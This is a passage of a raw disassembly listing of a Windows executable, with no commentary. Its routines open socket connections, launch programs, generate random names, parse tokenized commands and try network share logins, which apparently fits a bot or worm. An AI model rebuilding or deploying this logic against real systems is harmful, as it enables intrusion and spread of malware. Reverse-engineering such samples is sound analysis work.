					; ___:0041B67Aj
		mov	[edi+ebp-1], bl
		mov	[esp+18h], bl


loc_41B688:				; CODE XREF: ___:0041B67Ej
		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B63F


loc_41B695:				; CODE XREF: ___:0041B63Bj
					; ___:0041B641j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B69D:				; CODE XREF: ___:0041B66Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B6A4:				; CODE XREF: ___:0041B65Aj
					; ___:0041B65Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B6E0	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B74A
		mov	edi, ebp


loc_41B6FF:				; CODE XREF: sub_41B6E0+68j
		cmp	edi, ebx
		jz	short loc_41B74A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B74A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		nop
		call	near ptr 71AB615Ah
		test	eax, eax
		jz	short loc_41B759
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B72A
		cmp	al, bl
		jnz	short loc_41B73D


loc_41B72A:				; CODE XREF: sub_41B6E0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B737
		mov	[esi+ebp-1], bl
		jmp	short loc_41B739
; ---------------------------------------------------------------------------


loc_41B737:				; CODE XREF: sub_41B6E0+4Fj
		mov	[edi], bl


loc_41B739:				; CODE XREF: sub_41B6E0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B73D:				; CODE XREF: sub_41B6E0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B6FF


loc_41B74A:				; CODE XREF: sub_41B6E0+1Bj
					; sub_41B6E0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B759:				; CODE XREF: sub_41B6E0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B6E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B780:				; CODE XREF: ___:00401ADCj
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B7DB


loc_41B7A6:				; CODE XREF: ___:0041B7D9j
		push	3
		push	1
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		dec	eax
		jz	short loc_41B7C7
		dec	eax
		jz	short loc_41B7C1
		dec	eax
		jnz	short loc_41B7D6
		push	7Ah
		push	61h
		jmp	short loc_41B7CB
; ---------------------------------------------------------------------------


loc_41B7C1:				; CODE XREF: ___:0041B7B6j
		push	5Ah
		push	41h
		jmp	short loc_41B7CB
; ---------------------------------------------------------------------------


loc_41B7C7:				; CODE XREF: ___:0041B7B3j
		push	39h
		push	30h


loc_41B7CB:				; CODE XREF: ___:0041B7BFj
					; ___:0041B7C5j
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esi+ebx], al


loc_41B7D6:				; CODE XREF: ___:0041B7B9j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B7A6


loc_41B7DB:				; CODE XREF: ___:0041B7A4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B800	proc near		; CODE XREF: sub_40141Aj
		rdtsc
		retn
sub_41B800	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B820	proc near		; CODE XREF: sub_4017F3j

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_50F8D0
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B82F:				; CODE XREF: sub_41B820+43j
					; sub_41B820+4Dj
		call	sub_40141A
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_40141A
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_436970
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_436970
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B82F
		jb	short loc_41B86F
		cmp	esi, 0F4240h
		ja	short loc_41B82F


loc_41B86F:				; CODE XREF: sub_41B820+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_4368F0
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B8F9
		jb	short loc_41B88F
		cmp	ecx, 50h
		jnb	short loc_41B898


loc_41B88F:				; CODE XREF: sub_41B820+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B898:				; CODE XREF: sub_41B820+6Dj
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8A3
		cmp	ecx, 47h
		jnb	short loc_41B8AC


loc_41B8A3:				; CODE XREF: sub_41B820+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B8AC:				; CODE XREF: sub_41B820+81j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8B7
		cmp	ecx, 37h
		jnb	short loc_41B8C0


loc_41B8B7:				; CODE XREF: sub_41B820+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B8C0:				; CODE XREF: sub_41B820+95j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8CB
		cmp	ecx, 26h
		jnb	short loc_41B8D4


loc_41B8CB:				; CODE XREF: sub_41B820+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B8D4:				; CODE XREF: sub_41B820+A9j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8DF
		cmp	ecx, 1Eh
		jnb	short loc_41B8E8


loc_41B8DF:				; CODE XREF: sub_41B820+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B8E8:				; CODE XREF: sub_41B820+BDj
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8F3
		cmp	ecx, 0Ah
		jnb	short loc_41B8F9


loc_41B8F3:				; CODE XREF: sub_41B820+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B8F9:				; CODE XREF: sub_41B820+66j
					; sub_41B820+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B820	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B950	proc near		; CODE XREF: sub_402022j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41B950
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_447759
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BAAF
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_401424
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C5D
		mov	ebp, eax
		call	sub_401EEC
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013D9
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		call	near ptr 27F106Eh
		nop
		test	eax, eax
		jnz	short loc_41B9E6
		mov	edi, offset byte_446F60
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41B9E6:				; CODE XREF: sub_41B950+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41B9EF:				; CODE XREF: sub_41B950+A9j
		cmp	ecx, eax
		jnz	short loc_41B9F5
		mov	bl, 1


loc_41B9F5:				; CODE XREF: sub_41B950+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41B9EF
		mov	eax, 61h


loc_41BA00:				; CODE XREF: sub_41B950+BAj
		cmp	ecx, eax
		jnz	short loc_41BA06
		mov	bl, 1


loc_41BA06:				; CODE XREF: sub_41B950+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BA00
		test	bl, bl
		jnz	short loc_41BA32
		mov	edi, offset byte_446F60
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BA32:				; CODE XREF: sub_41B950+BEj
		mov	esi, dword_50FABC
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BAAF:				; CODE XREF: sub_41B950+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_401424
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		call	near ptr 27D0802h
		nop
		push	eax
		nop
		call	near ptr 77C371BCh
		mov	edi, dword_50FABC
		add	esp, 4
		call	edi	; rand
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015D7
		test	esi, esi
		jle	short loc_41BB4E


loc_41BAF8:				; CODE XREF: sub_41B950+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_401424
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FBE
		call	edi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_443E74
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BAF8


loc_41BB4E:				; CODE XREF: sub_41B950+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41B950	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BC20:				; CODE XREF: ___:00401569j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BC2F
		cmp	al, 9
		jz	short loc_41BC2F
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BC2F:				; CODE XREF: ___:0041BC26j
					; ___:0041BC2Aj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: ___:00401ED8j
		mov	eax, [esp+4]
		push	offset dword_443E7C
		push	eax
		nop
		call	near ptr 77C3F010h
		add	esp, 8
		test	eax, eax
		jz	short loc_41BC74
		push	eax
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BC74:				; CODE XREF: ___:0041BC65j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BC90	proc near		; CODE XREF: sub_401479j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BEEE
		mov	esi, offset byte_446F60
		mov	eax, edi


loc_41BCAA:				; CODE XREF: sub_41BC90+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BCD2
		test	cl, cl
		jz	short loc_41BCCE
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BCD2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BCAA


loc_41BCCE:				; CODE XREF: sub_41BC90+26j
		xor	eax, eax
		jmp	short loc_41BCD7
; ---------------------------------------------------------------------------


loc_41BCD2:				; CODE XREF: sub_41BC90+22j
					; sub_41BC90+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BCD7:				; CODE XREF: sub_41BC90+40j
		test	eax, eax
		jz	loc_41BEEE
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		call	near ptr 77C47A90h
		nop
		mov	edi, dword_50FAF4
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_443DC4
		push	ecx
		call	edi	; strtok
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BEEE
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BD17:				; CODE XREF: sub_41BC90+A4j
		push	offset dword_443DC4
		push	0
		call	edi	; strtok
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BEEE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BD17
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_443E98
		mov	eax, ebp


loc_41BD41:				; CODE XREF: sub_41BC90+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BD69
		test	dl, dl
		jz	short loc_41BD65
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BD69
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BD41


loc_41BD65:				; CODE XREF: sub_41BC90+BDj
		xor	eax, eax
		jmp	short loc_41BD6E
; ---------------------------------------------------------------------------


loc_41BD69:				; CODE XREF: sub_41BC90+B9j
					; sub_41BC90+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BD6E:				; CODE XREF: sub_41BC90+D7j
		test	eax, eax
		jnz	short loc_41BD7C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BD7C:				; CODE XREF: sub_41BC90+E0j
		mov	esi, offset dword_443E94
		mov	eax, ebp


loc_41BD83:				; CODE XREF: sub_41BC90+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BDAB
		test	dl, dl
		jz	short loc_41BDA7
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BDAB
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BD83


loc_41BDA7:				; CODE XREF: sub_41BC90+FFj
		xor	eax, eax
		jmp	short loc_41BDB0
; ---------------------------------------------------------------------------


loc_41BDAB:				; CODE XREF: sub_41BC90+FBj
					; sub_41BC90+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BDB0:				; CODE XREF: sub_41BC90+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BDFA
		mov	esi, offset dword_443E90
		mov	edx, edi


loc_41BDBF:				; CODE XREF: sub_41BC90+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BDE7
		test	bl, bl
		jz	short loc_41BDE3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BDE7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BDBF


loc_41BDE3:				; CODE XREF: sub_41BC90+13Bj
		xor	edx, edx
		jmp	short loc_41BDEC
; ---------------------------------------------------------------------------


loc_41BDE7:				; CODE XREF: sub_41BC90+137j
					; sub_41BC90+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BDEC:				; CODE XREF: sub_41BC90+155j
		test	edx, edx
		jnz	short loc_41BDFA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BDFA:				; CODE XREF: sub_41BC90+126j
					; sub_41BC90+15Ej
		mov	esi, offset dword_443E8C
		mov	edx, ebp


loc_41BE01:				; CODE XREF: sub_41BC90+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BE29
		test	bl, bl
		jz	short loc_41BE25
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BE29
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BE01


loc_41BE25:				; CODE XREF: sub_41BC90+17Dj
		xor	edx, edx
		jmp	short loc_41BE2E
; ---------------------------------------------------------------------------


loc_41BE29:				; CODE XREF: sub_41BC90+179j
					; sub_41BC90+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BE2E:				; CODE XREF: sub_41BC90+197j
		test	edx, edx
		jnz	short loc_41BE74
		mov	esi, offset dword_443E88
		mov	edx, edi


loc_41BE39:				; CODE XREF: sub_41BC90+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BE61
		test	bl, bl
		jz	short loc_41BE5D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BE61
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BE39


loc_41BE5D:				; CODE XREF: sub_41BC90+1B5j
		xor	edx, edx
		jmp	short loc_41BE66
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BC90+1B1j
					; sub_41BC90+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BE66:				; CODE XREF: sub_41BC90+1CFj
		test	edx, edx
		jnz	short loc_41BE74
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE74:				; CODE XREF: sub_41BC90+1A0j
					; sub_41BC90+1D8j
		mov	esi, offset dword_443E84
		mov	ecx, ebp


loc_41BE7B:				; CODE XREF: sub_41BC90+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BEA3
		test	dl, dl
		jz	short loc_41BE9F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BEA3
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE7B


loc_41BE9F:				; CODE XREF: sub_41BC90+1F7j
		xor	ecx, ecx
		jmp	short loc_41BEA8
; ---------------------------------------------------------------------------


loc_41BEA3:				; CODE XREF: sub_41BC90+1F3j
					; sub_41BC90+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BEA8:				; CODE XREF: sub_41BC90+211j
		test	ecx, ecx
		jnz	short loc_41BEEE
		mov	esi, offset dword_443E80
		mov	eax, edi


loc_41BEB3:				; CODE XREF: sub_41BC90+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BEDB
		test	cl, cl
		jz	short loc_41BED7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BEDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BEB3


loc_41BED7:				; CODE XREF: sub_41BC90+22Fj
		xor	eax, eax
		jmp	short loc_41BEE0
; ---------------------------------------------------------------------------


loc_41BEDB:				; CODE XREF: sub_41BC90+22Bj
					; sub_41BC90+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BEE0:				; CODE XREF: sub_41BC90+249j
		test	eax, eax
		jnz	short loc_41BEEE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BEEE:				; CODE XREF: sub_41BC90+Dj
					; sub_41BC90+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BC90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BFA0	proc near		; CODE XREF: sub_402004j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C008
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C008
		mov	eax, [esp+18h+arg_0]
		push	eax
		call	near ptr 71AB2BF4h
		nop
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	short loc_41BFF9
		mov	bl, 1


loc_41BFF9:				; CODE XREF: sub_41BFA0+55j
		push	esi
		nop
		call	near ptr 71AB9639h
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C008:				; CODE XREF: sub_41BFA0+18j
					; sub_41BFA0+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41BFA0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C030	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		cmp	eax, 20h
		setnl	al
		retn
sub_41C030	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_402149j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		nop
		call	near ptr 27E0517h
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C070	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C0E0:				; CODE XREF: ___:00401875j
		sub	esp, 354h
		mov	eax, off_443EA4
		mov	ecx, dword_443EA8
		mov	[esp+0], eax
		mov	al, byte_446F60
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443EAC
		rep stosd
		mov	ecx, off_443E9C
		mov	[esp+10h], edx
		mov	dx, word_443EA0
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		nop
		call	near ptr 2790000h
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50BB7C
		push	offset dword_50BB7C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_436FA8
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C1C8
		cmp	eax, 4C3h
		jnz	short loc_41C1D1


loc_41C1C8:				; CODE XREF: ___:0041C1BFj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_436FA8
; ---------------------------------------------------------------------------


loc_41C1D1:				; CODE XREF: ___:0041C1C6j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C1E8
		cmp	eax, 4C3h
		jz	short loc_41C1E8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C1E8:				; CODE XREF: ___:0041C1D6j
					; ___:0041C1DDj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C250:				; CODE XREF: ___:00401EC9j
		sub	esp, 354h
		mov	eax, off_443EA4
		mov	ecx, dword_443EA8
		mov	[esp+0], eax
		mov	al, byte_446F60
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443EAC
		rep stosd
		mov	ecx, off_443E9C
		mov	[esp+10h], edx
		mov	dx, word_443EA0
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		nop
		call	near ptr 2790000h
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_436FAE
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41C338
		mov	esi, dword_50F8D0


